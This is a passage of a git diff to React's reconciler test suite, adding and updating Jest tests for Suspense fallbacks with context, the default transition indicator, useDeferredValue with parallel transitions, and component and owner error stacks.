+    function Provider({children}) {
+      const [promise, _setPromise] = useState(neverResolvingPromise);
+      setPromise = _setPromise;
+      return <Context.Provider value={promise}>{children}</Context.Provider>;
+    }
+
+    const root = ReactNoop.createRoot();
+    await act(() => {
+      root.render(
+        <Provider>
+          <Indirection>
+            <Suspense fallback={<Text text="Loading" />}>
+              <Consumer />
+            </Suspense>
+          </Indirection>
+        </Provider>,
+      );
+    });
+    assertLog(['Indirection', 'Loading']);
+    expect(root).toMatchRenderedOutput('Loading');
+
+    // Indirection should not re-render — only the Suspense boundary
+    // should be retried.
+    await act(() => {
+      setPromise(resolvedThenable);
+    });
+    assertLog(['Result']);
+    expect(root).toMatchRenderedOutput('Result');
+  });
+
+  // @gate enableLegacyCache
+  it('context change propagates to Suspense fallback (memo boundary)', async () => {
+    // When a context change occurs above a Suspense boundary that is currently
+    // showing its fallback, the fallback's context consumers should re-render
+    // with the updated value — even if there's a memo boundary between the
+    // provider and the Suspense boundary that prevents the fallback element
+    // references from changing.
+    const root = ReactNoop.createRoot();
+    const Context = React.createContext('A');
+
+    let setContext;
+    function App() {
+      const [value, _setValue] = useState('A');
+      setContext = _setValue;
+      return (
+        <Context.Provider value={value}>
+          <MemoizedWrapper />
+          <Text text={value} />
+        </Context.Provider>
+      );
+    }
+
+    const MemoizedWrapper = React.memo(function MemoizedWrapper() {
+      return (
+        <Suspense fallback={<FallbackConsumer />}>
+          <AsyncChild />
+        </Suspense>
+      );
+    });
+
+    function FallbackConsumer() {
+      const value = useContext(Context);
+      return <Text text={'Fallback: ' + value} />;
+    }
+
+    function AsyncChild() {
+      readText('async');
+      return <Text text="Content" />;
+    }
+
+    // Initial render — primary content suspends, fallback is shown
+    await act(() => {
+      root.render(<App />);
+    });
+    assertLog([
+      'Suspend! [async]',
+      'Fallback: A',
+      'A',
+      // pre-warming
+      'Suspend! [async]',
+    ]);
+    expect(root).toMatchRenderedOutput('Fallback: AA');
+
+    // Update context while still suspended. The fallback consumer should
+    // re-render with the new value.
+    await act(() => {
+      setContext('B');
+    });
+    assertLog([
+      // The Suspense boundary retries the primary children first
+      'Suspend! [async]',
+      'Fallback: B',
+      'B',
+      // pre-warming
+      'Suspend! [async]',
+    ]);
+    expect(root).toMatchRenderedOutput('Fallback: BB');
+
+    // Unsuspend. The primary content should render with the latest context.
+    await act(async () => {
+      await resolveText('async');
+    });
+    assertLog(['Content']);
+    expect(root).toMatchRenderedOutput('ContentB');
+  });
 });
diff --git a/packages/react-reconciler/src/__tests__/ReactDefaultTransitionIndicator-test.js b/packages/react-reconciler/src/__tests__/ReactDefaultTransitionIndicator-test.js
new file mode 100644
index 000000000000..fb698e821aa0
--- /dev/null
+++ b/packages/react-reconciler/src/__tests__/ReactDefaultTransitionIndicator-test.js
@@ -0,0 +1,480 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @emails react-core
+ * @jest-environment node
+ */
+
+'use strict';
+
+let React;
+let ReactNoop;
+let Scheduler;
+let act;
+let use;
+let useOptimistic;
+let useState;
+let useTransition;
+let useDeferredValue;
+let assertLog;
+let waitForPaint;
+
+describe('ReactDefaultTransitionIndicator', () => {
+  beforeEach(() => {
+    jest.resetModules();
+
+    React = require('react');
+    ReactNoop = require('react-noop-renderer');
+    Scheduler = require('scheduler');
+    const InternalTestUtils = require('internal-test-utils');
+    act = InternalTestUtils.act;
+    assertLog = InternalTestUtils.assertLog;
+    waitForPaint = InternalTestUtils.waitForPaint;
+    use = React.use;
+    useOptimistic = React.useOptimistic;
+    useState = React.useState;
+    useTransition = React.useTransition;
+    useDeferredValue = React.useDeferredValue;
+  });
+
+  // @gate enableDefaultTransitionIndicator
+  it('triggers the default indicator while a transition is on-going', async () => {
+    let resolve;
+    const promise = new Promise(r => (resolve = r));
+    function App() {
+      return use(promise);
+    }
+
+    const root = ReactNoop.createRoot({
+      onDefaultTransitionIndicator() {
+        Scheduler.log('start');
+        return () => {
+          Scheduler.log('stop');
+        };
+      },
+    });
+    await act(() => {
+      React.startTransition(() => {
+        root.render(<App />);
+      });
+    });
+
+    assertLog(['start']);
+
+    await act(async () => {
+      await resolve('Hello');
+    });
+
+    assertLog(['stop']);
+
+    expect(root).toMatchRenderedOutput('Hello');
+  });
+
+  // @gate enableDefaultTransitionIndicator
+  it('does not trigger the default indicator if there is a sync mutation', async () => {
+    const promiseA = Promise.resolve('Hi');
+    let resolveB;
+    const promiseB = new Promise(r => (resolveB = r));
+    let update;
+    function App({children}) {
+      const [state, setState] = useState('');
+      update = setState;
+      return (
+        <div>
+          {state}
+          {children}
+        </div>
+      );
+    }
+
+    const root = ReactNoop.createRoot({
+      onDefaultTransitionIndicator() {
+        Scheduler.log('start');
+        return () => {
+          Scheduler.log('stop');
+        };
+      },
+    });
+    await act(() => {
+      React.startTransition(() => {
+        root.render(<App>{promiseA}</App>);
+      });
+    });
+
+    assertLog(['start', 'stop']);
+
+    expect(root).toMatchRenderedOutput(<div>Hi</div>);
+
+    await act(() => {
+      update('Loading...');
+      React.startTransition(() => {
+        update('');
+        root.render(<App>{promiseB}</App>);
+      });
+    });
+
+    assertLog([]);
+
+    expect(root).toMatchRenderedOutput(<div>Loading...Hi</div>);
+
+    await act(async () => {
+      await resolveB('Hello');
+    });
+
+    assertLog([]);
+
+    expect(root).toMatchRenderedOutput(<div>Hello</div>);
+  });
+
+  // @gate enableDefaultTransitionIndicator
+  it('does not trigger the default indicator if there is an optimistic update', async () => {
+    const promiseA = Promise.resolve('Hi');
+    let resolveB;
+    const promiseB = new Promise(r => (resolveB = r));
+    let update;
+    function App({children}) {
+      const [state, setOptimistic] = useOptimistic('');
+      update = setOptimistic;
+      return (
+        <div>
+          {state}
+          {children}
+        </div>
+      );
+    }
+
+    const root = ReactNoop.createRoot({
+      onDefaultTransitionIndicator() {
+        Scheduler.log('start');
+        return () => {
+          Scheduler.log('stop');
+        };
+      },
+    });
+    await act(() => {
+      React.startTransition(() => {
+        root.render(<App>{promiseA}</App>);
+      });
+    });
+
+    assertLog(['start', 'stop']);
+
+    expect(root).toMatchRenderedOutput(<div>Hi</div>);
+
+    await act(() => {
+      React.startTransition(() => {
+        update('Loading...');
+        root.render(<App>{promiseB}</App>);
+      });
+    });
+
+    assertLog([]);
+
+    expect(root).toMatchRenderedOutput(<div>Loading...Hi</div>);
+
+    await act(async () => {
+      await resolveB('Hello');
+    });
+
+    assertLog([]);
+
+    expect(root).toMatchRenderedOutput(<div>Hello</div>);
+  });
+
+  // @gate enableDefaultTransitionIndicator
+  it('does not trigger the default indicator if there is an isPending update', async () => {
+    const promiseA = Promise.resolve('Hi');
+    let resolveB;
+    const promiseB = new Promise(r => (resolveB = r));
+    let start;
+    function App({children}) {
+      const [isPending, startTransition] = useTransition();
+      start = startTransition;
+      return (
+        <div>
+          {isPending ? 'Loading...' : ''}
+          {children}
+        </div>
+      );
+    }
+
+    const root = ReactNoop.createRoot({
+      onDefaultTransitionIndicator() {
+        Scheduler.log('start');
+        return () => {
+          Scheduler.log('stop');
+        };
+      },
+    });
+    await act(() => {
+      React.startTransition(() => {
+        root.render(<App>{promiseA}</App>);
+      });
+    });
+
+    assertLog(['start', 'stop']);
+
+    expect(root).toMatchRenderedOutput(<div>Hi</div>);
+
+    await act(() => {
+      start(() => {
+        root.render(<App>{promiseB}</App>);
+      });
+    });
+
+    assertLog([]);
+
+    expect(root).toMatchRenderedOutput(<div>Loading...Hi</div>);
+
+    await act(async () => {
+      await resolveB('Hello');
+    });
+
+    assertLog([]);
+
+    expect(root).toMatchRenderedOutput(<div>Hello</div>);
+  });
+
+  // @gate enableDefaultTransitionIndicator
+  it('triggers the default indicator while an async transition is ongoing', async () => {
+    let resolve;
+    const promise = new Promise(r => (resolve = r));
+    let start;
+    function App() {
+      const [, startTransition] = useTransition();
+      start = startTransition;
+      return 'Hi';
+    }
+
+    const root = ReactNoop.createRoot({
+      onDefaultTransitionIndicator() {
+        Scheduler.log('start');
+        return () => {
+          Scheduler.log('stop');
+        };
+      },
+    });
+    await act(() => {
+      root.render(<App />);
+    });
+
+    assertLog([]);
+
+    await act(() => {
+      // Start an async action but we haven't called setState yet
+      start(() => promise);
+    });
+
+    assertLog(['start']);
+
+    await act(async () => {
+      await resolve('Hello');
+    });
+
+    assertLog(['stop']);
+
+    expect(root).toMatchRenderedOutput('Hi');
+  });
+
+  // @gate enableDefaultTransitionIndicator
+  it('triggers the default indicator while an async transition is ongoing (isomorphic)', async () => {
+    let resolve;
+    const promise = new Promise(r => (resolve = r));
+    function App() {
+      return 'Hi';
+    }
+
+    const root = ReactNoop.createRoot({
+      onDefaultTransitionIndicator() {
+        Scheduler.log('start');
+        return () => {
+          Scheduler.log('stop');
+        };
+      },
+    });
+    await act(() => {
+      root.render(<App />);
+    });
+
+    assertLog([]);
+
+    await act(() => {
+      // Start an async action but we haven't called setState yet
+      React.startTransition(() => promise);
+    });
+
+    assertLog(['start']);
+
+    await act(async () => {
+      await resolve('Hello');
+    });
+
+    assertLog(['stop']);
+
+    expect(root).toMatchRenderedOutput('Hi');
+  });
+
+  it('does not triggers isomorphic async action default indicator if there are two different ones', async () => {
+    let resolve;
+    const promise = new Promise(r => (resolve = r));
+    function App() {
+      return 'Hi';
+    }
+
+    const root = ReactNoop.createRoot({
+      onDefaultTransitionIndicator() {
+        Scheduler.log('start');
+        return () => {
+          Scheduler.log('stop');
+        };
+      },
+    });
+    // Initialize second root. This is now ambiguous which indicator to use.
+    ReactNoop.createRoot({
+      onDefaultTransitionIndicator() {
+        Scheduler.log('start2');
+        return () => {
+          Scheduler.log('stop2');
+        };
+      },
+    });
+    await act(() => {
+      root.render(<App />);
+    });
+
+    assertLog([]);
+
+    await act(() => {
+      // Start an async action but we haven't called setState yet
+      React.startTransition(() => promise);
+    });
+
+    assertLog([]);
+
+    await act(async () => {
+      await resolve('Hello');
+    });
+
+    assertLog([]);
+
+    expect(root).toMatchRenderedOutput('Hi');
+  });
+
+  it('does not triggers isomorphic async action default indicator if there is a loading state', async () => {
+    let resolve;
+    const promise = new Promise(r => (resolve = r));
+    let update;
+    function App() {
+      const [state, setState] = useState(false);
+      update = setState;
+      return state ? 'Loading' : 'Hi';
+    }
+
+    const root = ReactNoop.createRoot({
+      onDefaultTransitionIndicator() {
+        Scheduler.log('start');
+        return () => {
+          Scheduler.log('stop');
+        };
+      },
+    });
+    await act(() => {
+      root.render(<App />);
+    });
+
+    assertLog([]);
+
+    await act(() => {
+      update(true);
+      React.startTransition(() => promise.then(() => update(false)));
+    });
+
+    assertLog([]);
+
+    expect(root).toMatchRenderedOutput('Loading');
+
+    await act(async () => {
+      await resolve('Hello');
+    });
+
+    assertLog([]);
+
+    expect(root).toMatchRenderedOutput('Hi');
+  });
+
+  it('should not trigger for useDeferredValue (sync)', async () => {
+    function Text({text}) {
+      Scheduler.log(text);
+      return text;
+    }
+    function App({value}) {
+      const deferredValue = useDeferredValue(value, 'Hi');
+      return <Text text={deferredValue} />;
+    }
+
+    const root = ReactNoop.createRoot({
+      onDefaultTransitionIndicator() {
+        Scheduler.log('start');
+        return () => {
+          Scheduler.log('stop');
+        };
+      },
+    });
+    await act(async () => {
+      root.render(<App value="Hello" />);
+      await waitForPaint(['Hi']);
+      expect(root).toMatchRenderedOutput('Hi');
+    });
+
+    assertLog(['Hello']);
+
+    expect(root).toMatchRenderedOutput('Hello');
+
+    assertLog([]);
+
+    await act(async () => {
+      root.render(<App value="Bye" />);
+      await waitForPaint(['Hello']);
+      expect(root).toMatchRenderedOutput('Hello');
+    });
+
+    assertLog(['Bye']);
+
+    expect(root).toMatchRenderedOutput('Bye');
+  });
+
+  // @gate enableDefaultTransitionIndicator
+  it('should not trigger for useDeferredValue (transition)', async () => {
+    function Text({text}) {
+      Scheduler.log(text);
+      return text;
+    }
+    function App({value}) {
+      const deferredValue = useDeferredValue(value, 'Hi');
+      return <Text text={deferredValue} />;
+    }
+
+    const root = ReactNoop.createRoot({
+      onDefaultTransitionIndicator() {
+        Scheduler.log('start');
+        return () => {
+          Scheduler.log('stop');
+        };
+      },
+    });
+    await act(async () => {
+      React.startTransition(() => {
+        root.render(<App value="Hello" />);
+      });
+      await waitForPaint(['start', 'Hi', 'stop']);
+      expect(root).toMatchRenderedOutput('Hi');
+    });
+
+    assertLog(['Hello']);
+
+    expect(root).toMatchRenderedOutput('Hello');
+  });
+});
diff --git a/packages/react-reconciler/src/__tests__/ReactDeferredValue-test.js b/packages/react-reconciler/src/__tests__/ReactDeferredValue-test.js
index b321f4bba0de..2455d344cf5c 100644
--- a/packages/react-reconciler/src/__tests__/ReactDeferredValue-test.js
+++ b/packages/react-reconciler/src/__tests__/ReactDeferredValue-test.js
@@ -34,7 +34,7 @@ describe('ReactDeferredValue', () => {
     useMemo = React.useMemo;
     useState = React.useState;
     Suspense = React.Suspense;
-    Activity = React.unstable_Activity;
+    Activity = React.Activity;
 
     const InternalTestUtils = require('internal-test-utils');
     assertLog = InternalTestUtils.assertLog;
@@ -371,7 +371,6 @@ describe('ReactDeferredValue', () => {
     });
   });
 
-  // @gate enableUseDeferredValueInitialArg
   it('supports initialValue argument', async () => {
     function App() {
       const value = useDeferredValue('Final', 'Initial');
@@ -388,7 +387,6 @@ describe('ReactDeferredValue', () => {
     expect(root).toMatchRenderedOutput('Final');
   });
 
-  // @gate enableUseDeferredValueInitialArg
   it('defers during initial render when initialValue is provided, even if render is not sync', async () => {
     function App() {
       const value = useDeferredValue('Final', 'Initial');
@@ -406,7 +404,6 @@ describe('ReactDeferredValue', () => {
     expect(root).toMatchRenderedOutput('Final');
   });
 
-  // @gate enableUseDeferredValueInitialArg
   it(
     'if a suspended render spawns a deferred task, we can switch to the ' +
       'deferred task without finishing the original one (no Suspense boundary)',
@@ -423,6 +420,13 @@ describe('ReactDeferredValue', () => {
         // The initial value suspended, so we attempt the final value, which
         // also suspends.
         'Suspend! [Final]',
+        ...(gate('enableParallelTransitions')
+          ? []
+          : [
+              // Existing bug: Unnecessary pre-warm.
+              'Suspend! [Loading...]',
+              'Suspend! [Final]',
+            ]),
       ]);
       expect(root).toMatchRenderedOutput(null);
 
@@ -439,7 +443,171 @@ describe('ReactDeferredValue', () => {
     },
   );
 
-  // @gate enableUseDeferredValueInitialArg
+  it(
+    'if a suspended render spawns a deferred task that suspends on a sibling, ' +
+      'we can finish the original task if the original sibling loads first',
+    async () => {
+      function App() {
+        const deferredText = useDeferredValue(`Final`, `Loading...`);
+        return (
+          <>
+            <AsyncText text={deferredText} />{' '}
+            <AsyncText text={`Sibling: ${deferredText}`} />
+          </>
+        );
+      }
+
+      const root = ReactNoop.createRoot();
+      await act(() => root.render(<App text="a" />));
+      assertLog([
+        'Suspend! [Loading...]',
+        // The initial value suspended, so we attempt the final value, which
+        // also suspends.
+        'Suspend! [Final]',
+        'Suspend! [Sibling: Final]',
+        ...(gate('enableParallelTransitions')
+          ? [
+              // With parallel transitions,
+              // we do not continue pre-warming.
+            ]
+          : [
+              'Suspend! [Loading...]',
+              'Suspend! [Sibling: Loading...]',
+              'Suspend! [Final]',
+              'Suspend! [Sibling: Final]',
+            ]),
+      ]);
+      expect(root).toMatchRenderedOutput(null);
+
+      // The final value loads, so we can skip the initial value entirely.
+      await act(() => {
+        resolveText('Final');
+      });
+      assertLog(['Final', 'Suspend! [Sibling: Final]']);
+      expect(root).toMatchRenderedOutput(null);
+
+      // The initial value resolves first, so we render that.
+      await act(() => resolveText('Loading...'));
+      assertLog([
+        'Loading...',
+        'Suspend! [Sibling: Loading...]',
+        'Final',
+        'Suspend! [Sibling: Final]',
+        ...(gate('enableParallelTransitions')
+          ? [
+              // With parallel transitions,
+              // we do not continue pre-warming.
+            ]
+          : [
+              'Loading...',
+              'Suspend! [Sibling: Loading...]',
+              'Final',
+              'Suspend! [Sibling: Final]',
+            ]),
+      ]);
+      expect(root).toMatchRenderedOutput(null);
+
+      // The Final sibling loads, we're unblocked and commit.
+      await act(() => {
+        resolveText('Sibling: Final');
+      });
+      assertLog(['Final', 'Sibling: Final']);
+      expect(root).toMatchRenderedOutput('Final Sibling: Final');
+
+      // We already rendered the Final value, so nothing happens
+      await act(() => {
+        resolveText('Sibling: Loading...');
+      });
+      assertLog([]);
+      expect(root).toMatchRenderedOutput('Final Sibling: Final');
+    },
+  );
+
+  it(
+    'if a suspended render spawns a deferred task that suspends on a sibling,' +
+      ' we can switch to the deferred task without finishing the original one',
+    async () => {
+      function App() {
+        const deferredText = useDeferredValue(`Final`, `Loading...`);
+        return (
+          <>
+            <AsyncText text={deferredText} />{' '}
+            <AsyncText text={`Sibling: ${deferredText}`} />
+          </>
+        );
+      }
+
+      const root = ReactNoop.createRoot();
+      await act(() => root.render(<App text="a" />));
+      assertLog([
+        'Suspend! [Loading...]',
+        // The initial value suspended, so we attempt the final value, which
+        // also suspends.
+        'Suspend! [Final]',
+        'Suspend! [Sibling: Final]',
+        ...(gate('enableParallelTransitions')
+          ? [
+              // With parallel transitions,
+              // we do not continue pre-warming.
+            ]
+          : [
+              'Suspend! [Loading...]',
+              'Suspend! [Sibling: Loading...]',
+              'Suspend! [Final]',
+              'Suspend! [Sibling: Final]',
+            ]),
+      ]);
+      expect(root).toMatchRenderedOutput(null);
+
+      // The final value loads, so we can skip the initial value entirely.
+      await act(() => {
+        resolveText('Final');
+      });
+      assertLog(['Final', 'Suspend! [Sibling: Final]']);
+      expect(root).toMatchRenderedOutput(null);
+
+      // The initial value resolves first, so we render that.
+      await act(() => resolveText('Loading...'));
+      assertLog([
+        'Loading...',
+        'Suspend! [Sibling: Loading...]',
+        'Final',
+        'Suspend! [Sibling: Final]',
+        ...(gate('enableParallelTransitions')
+          ? [
+              // With parallel transitions,
+              // we do not continue pre-warming.
+            ]
+          : [
+              'Loading...',
+              'Suspend! [Sibling: Loading...]',
+              'Final',
+              'Suspend! [Sibling: Final]',
+            ]),
+      ]);
+      expect(root).toMatchRenderedOutput(null);
+
+      // The initial sibling loads, we're unblocked and commit.
+      await act(() => {
+        resolveText('Sibling: Loading...');
+      });
+      assertLog([
+        'Loading...',
+        'Sibling: Loading...',
+        'Final',
+        'Suspend! [Sibling: Final]',
+      ]);
+      expect(root).toMatchRenderedOutput('Loading... Sibling: Loading...');
+
+      // Now unblock the final sibling.
+      await act(() => {
+        resolveText('Sibling: Final');
+      });
+      assertLog(['Final', 'Sibling: Final']);
+      expect(root).toMatchRenderedOutput('Final Sibling: Final');
+    },
+  );
+
   it(
     'if a suspended render spawns a deferred task, we can switch to the ' +
       'deferred task without finishing the original one (no Suspense boundary, ' +
@@ -463,6 +631,12 @@ describe('ReactDeferredValue', () => {
         // The initial value suspended, so we attempt the final value, which
         // also suspends.
         'Suspend! [Final]',
+        ...(gate('enableParallelTransitions')
+          ? [
+              // With parallel transitions,
+              // we do not continue pre-warming.
+            ]
+          : ['Suspend! [Loading...]', 'Suspend! [Final]']),
       ]);
       expect(root).toMatchRenderedOutput(null);
 
@@ -479,7 +653,6 @@ describe('ReactDeferredValue', () => {
     },
   );
 
-  // @gate enableUseDeferredValueInitialArg
   it(
     'if a suspended render spawns a deferred task, we can switch to the ' +
       'deferred task without finishing the original one (Suspense boundary)',
@@ -504,6 +677,8 @@ describe('ReactDeferredValue', () => {
         // The initial value suspended, so we attempt the final value, which
         // also suspends.
         'Suspend! [Final]',
+        // pre-warming
+        'Suspend! [Final]',
       ]);
       expect(root).toMatchRenderedOutput('Fallback');
 
@@ -520,7 +695,6 @@ describe('ReactDeferredValue', () => {
     },
   );
 
-  // @gate enableUseDeferredValueInitialArg
   it(
     'if a suspended render spawns a deferred task that also suspends, we can ' +
       'finish the original task if that one loads first',
@@ -537,6 +711,12 @@ describe('ReactDeferredValue', () => {
         // The initial value suspended, so we attempt the final value, which
         // also suspends.
         'Suspend! [Final]',
+        ...(gate('enableParallelTransitions')
+          ? [
+              // With parallel transitions,
+              // we do not continue pre-warming.
+            ]
+          : ['Suspend! [Loading...]', 'Suspend! [Final]']),
       ]);
       expect(root).toMatchRenderedOutput(null);
 
@@ -556,7 +736,6 @@ describe('ReactDeferredValue', () => {
     },
   );
 
-  // @gate enableUseDeferredValueInitialArg
   it(
     'if there are multiple useDeferredValues in the same tree, only the ' +
       'first level defers; subsequent ones go straight to the final value, to ' +
@@ -604,7 +783,48 @@ describe('ReactDeferredValue', () => {
     },
   );
 
-  // @gate enableUseDeferredValueInitialArg
+  it(
+    "regression: useDeferredValue's initial value argument works even if an unrelated " +
+      'transition is suspended',
+    async () => {
+      // Simulates a previous bug where a new useDeferredValue hook is mounted
+      // while some unrelated transition is suspended. In the regression case,
+      // the initial values was skipped/ignored.
+
+      function Content({text}) {
+        return (
+          <AsyncText text={useDeferredValue(text, `Preview ${text}...`)} />
+        );
+      }
+
+      function App({text}) {
+        // Use a key to force a new Content instance to be mounted each time
+        // the text changes.
+        return <Content key={text} text={text} />;
+      }
+
+      const root = ReactNoop.createRoot();
+
+      // Render a previous UI using useDeferredValue. Suspend on the
+      // final value.
+      resolveText('Preview A...');
+      await act(() => startTransition(() => root.render(<App text="A" />)));
+      assertLog(['Preview A...', 'Suspend! [A]']);
+
+      // While it's still suspended, update the UI to show a different screen
+      // with a different preview value. We should be able to show the new
+      // preview even though the previous transition never finished.
+      resolveText('Preview B...');
+      await act(() => startTransition(() => root.render(<App text="B" />)));
+      assertLog(['Preview B...', 'Suspend! [B]']);
+
+      // Now finish loading the final value.
+      await act(() => resolveText('B'));
+      assertLog(['B']);
+      expect(root).toMatchRenderedOutput('B');
+    },
+  );
+
   it('avoids a useDeferredValue waterfall when separated by a Suspense boundary', async () => {
     // Same as the previous test but with a Suspense boundary separating the
     // two useDeferredValue hooks.
@@ -638,6 +858,8 @@ describe('ReactDeferredValue', () => {
       // go straight to attempting the final value.
       'Suspend! [Content]',
       'Loading...',
+      // pre-warming
+      'Suspend! [Content]',
     ]);
     // The content suspended, so we show a Suspense fallback
     expect(root).toMatchRenderedOutput('Loading...');
@@ -649,8 +871,6 @@ describe('ReactDeferredValue', () => {
     expect(root).toMatchRenderedOutput('Content');
   });
 
-  // @gate enableUseDeferredValueInitialArg
-  // @gate enableActivity
   it('useDeferredValue can spawn a deferred task while prerendering a hidden tree', async () => {
     function App() {
       const text = useDeferredValue('Final', 'Preview');
@@ -696,8 +916,6 @@ describe('ReactDeferredValue', () => {
     expect(root).toMatchRenderedOutput(<div>Final</div>);
   });
 
-  // @gate enableUseDeferredValueInitialArg
-  // @gate enableActivity
   it('useDeferredValue can prerender the initial value inside a hidden tree', async () => {
     function App({text}) {
       const renderedText = useDeferredValue(text, `Preview [${text}]`);
@@ -738,6 +956,7 @@ describe('ReactDeferredValue', () => {
         </Container>,
       );
       // We should switch to pre-rendering the new preview.
+      await waitForPaint([]);
       await waitForPaint(['Preview [B]']);
       expect(root).toMatchRenderedOutput(<div hidden={true}>Preview [B]</div>);
 
@@ -747,6 +966,10 @@ describe('ReactDeferredValue', () => {
       revealContent();
       // Because the preview state was already prerendered, we can reveal it
       // without any addditional work.
+      if (gate(flags => flags.enableYieldingBeforePassive)) {
+        // Passive effects.
+        await waitForPaint([]);
+      }
       await waitForPaint([]);
       expect(root).toMatchRenderedOutput(<div>Preview [B]</div>);
     });
@@ -755,8 +978,6 @@ describe('ReactDeferredValue', () => {
     expect(root).toMatchRenderedOutput(<div>B</div>);
   });
 
-  // @gate enableUseDeferredValueInitialArg
-  // @gate enableActivity
   it(
     'useDeferredValue skips the preview state when revealing a hidden tree ' +
       'if the final value is referentially identical',
@@ -796,8 +1017,6 @@ describe('ReactDeferredValue', () => {
     },
   );
 
-  // @gate enableUseDeferredValueInitialArg
-  // @gate enableActivity
   it(
     'useDeferredValue does not skip the preview state when revealing a ' +
       'hidden tree if the final value is different from the currently rendered one',
@@ -842,7 +1061,6 @@ describe('ReactDeferredValue', () => {
     },
   );
 
-  // @gate enableActivity
   it(
     'useDeferredValue does not show "previous" value when revealing a hidden ' +
       'tree (no initial value)',
@@ -879,4 +1097,56 @@ describe('ReactDeferredValue', () => {
       expect(root).toMatchRenderedOutput(<div>B</div>);
     },
   );
+
+  // Regression test for https://github.com/facebook/react/issues/35821
+  it('deferred value catches up when a suspension is resolved during the same render', async () => {
+    let setValue;
+    function App() {
+      const [value, _setValue] = useState('initial');
+      setValue = _setValue;
+      const deferred = useDeferredValue(value);
+      return (
+        <Suspense fallback={<Text text="Loading..." />}>
+          <AsyncText text={'A:' + deferred} />
+          <Sibling text={deferred} />
+        </Suspense>
+      );
+    }
+
+    function Sibling({text}) {
+      if (text !== 'initial') {
+        // Resolve A during this render, simulating data arriving while
+        // a render is already in progress.
+        resolveText('A:' + text);
+      }
+      readText('B:' + text);
+      Scheduler.log('B: ' + text);
+      return text;
+    }
+
+    const root = ReactNoop.createRoot();
+
+    resolveText('A:initial');
+    resolveText('B:initial');
+    await act(() => root.render(<App />));
+    assertLog(['A:initial', 'B: initial']);
+
+    // Pre-resolve B so the sibling won't suspend on retry.
+    resolveText('B:updated');
+
+    await act(() => setValue('updated'));
+    assertLog([
+      // Sync render defers the value.
+      'A:initial',
+      'B: initial',
+      // Deferred render: A suspends, then Sibling resolves A mid-render.
+      'Suspend! [A:updated]',
+      'B: updated',
+      'Loading...',
+      // React retries and the deferred value catches up.
+      'A:updated',
+      'B: updated',
+    ]);
+    expect(root).toMatchRenderedOutput('A:updatedupdated');
+  });
 });
diff --git a/packages/react-reconciler/src/__tests__/ReactEffectOrdering-test.js b/packages/react-reconciler/src/__tests__/ReactEffectOrdering-test.js
index 31ce1d6ac2bc..ab02f5df71e4 100644
--- a/packages/react-reconciler/src/__tests__/ReactEffectOrdering-test.js
+++ b/packages/react-reconciler/src/__tests__/ReactEffectOrdering-test.js
@@ -8,8 +8,6 @@
  * @jest-environment node
  */
 
-/* eslint-disable no-func-assign */
-
 'use strict';
 
 let React;
diff --git a/packages/react-reconciler/src/__tests__/ReactErrorStacks-test.js b/packages/react-reconciler/src/__tests__/ReactErrorStacks-test.js
index 6e6a9d471c4e..c761501839a0 100644
--- a/packages/react-reconciler/src/__tests__/ReactErrorStacks-test.js
+++ b/packages/react-reconciler/src/__tests__/ReactErrorStacks-test.js
@@ -10,17 +10,72 @@
 'use strict';
 
 let React;
+let Suspense;
+let Activity;
+let ViewTransition;
 let ReactNoop;
 let waitForAll;
 
 describe('ReactFragment', () => {
+  let didCatchErrors = [];
+  let rootCaughtErrors = [];
+  let SomethingThatErrors;
+  let CatchingBoundary;
+  let onCaughtError;
+
   beforeEach(function () {
     jest.resetModules();
 
     React = require('react');
+    Suspense = React.Suspense;
+    Activity = React.Activity;
+    ViewTransition = React.ViewTransition;
     ReactNoop = require('react-noop-renderer');
     const InternalTestUtils = require('internal-test-utils');
     waitForAll = InternalTestUtils.waitForAll;
+
+    didCatchErrors = [];
+    rootCaughtErrors = [];
+
+    onCaughtError = function (error, errorInfo) {
+      rootCaughtErrors.push(
+        error.message,
+        normalizeCodeLocInfo(errorInfo.componentStack),
+        React.captureOwnerStack
+          ? normalizeCodeLocInfo(React.captureOwnerStack())
+          : null,
+      );
+    };
+
+    SomethingThatErrors = () => {
+      throw new Error('uh oh');
+    };
+
+    // eslint-disable-next-line no-shadow
+    CatchingBoundary = class CatchingBoundary extends React.Component {
+      constructor() {
+        super();
+        this.state = {};
+      }
+
+      static getDerivedStateFromError(error) {
+        return {errored: true};
+      }
+
+      componentDidCatch(err, errInfo) {
+        didCatchErrors.push(
+          err.message,
+          normalizeCodeLocInfo(errInfo.componentStack),
+        );
+      }
+
+      render() {
+        if (this.state.errored) {
+          return null;
+        }
+        return this.props.children;
+      }
+    };
   });
 
   function componentStack(components) {
@@ -32,27 +87,13 @@ describe('ReactFragment', () => {
   function normalizeCodeLocInfo(str) {
     return (
       str &&
-      str.replace(/\n +(?:at|in) ([\S]+)[^\n]*/g, function (m, name) {
+      str.replace(/\n +(?:at|in) ([^\(]+) [^\n]*/g, function (m, name) {
         return '\n    in ' + name + ' (at **)';
       })
     );
   }
 
-  it('retains component stacks when rethrowing an error', async () => {
-    function Foo() {
-      return (
-        <RethrowingBoundary>
-          <Bar />
-        </RethrowingBoundary>
-      );
-    }
-    function Bar() {
-      return <SomethingThatErrors />;
-    }
-    function SomethingThatErrors() {
-      throw new Error('uh oh');
-    }
-
+  it('retains component and owner stacks when rethrowing an error', async () => {
     class RethrowingBoundary extends React.Component {
       static getDerivedStateFromError(error) {
         throw error;
@@ -63,33 +104,36 @@ describe('ReactFragment', () => {
       }
     }
 
-    const errors = [];
-    class CatchingBoundary extends React.Component {
-      constructor() {
-        super();
-        this.state = {};
-      }
-      static getDerivedStateFromError(error) {
-        return {errored: true};
-      }
-      componentDidCatch(err, errInfo) {
-        errors.push(err.message, normalizeCodeLocInfo(errInfo.componentStack));
-      }
-      render() {
-        if (this.state.errored) {
-          return null;
-        }
-        return this.props.children;
-      }
+    function Foo() {
+      return (
+        <RethrowingBoundary>
+          <Bar />
+        </RethrowingBoundary>
+      );
+    }
+    function Bar() {
+      return <SomethingThatErrors />;
     }
 
-    ReactNoop.render(
+    ReactNoop.createRoot({
+      onCaughtError,
+    }).render(
       <CatchingBoundary>
         <Foo />
       </CatchingBoundary>,
     );
     await waitForAll([]);
-    expect(errors).toEqual([
+    expect(didCatchErrors).toEqual([
+      'uh oh',
+      componentStack([
+        'SomethingThatErrors',
+        'Bar',
+        'RethrowingBoundary',
+        'Foo',
+        'CatchingBoundary',
+      ]),
+    ]);
+    expect(rootCaughtErrors).toEqual([
       'uh oh',
       componentStack([
         'SomethingThatErrors',
@@ -98,6 +142,204 @@ describe('ReactFragment', () => {
         'Foo',
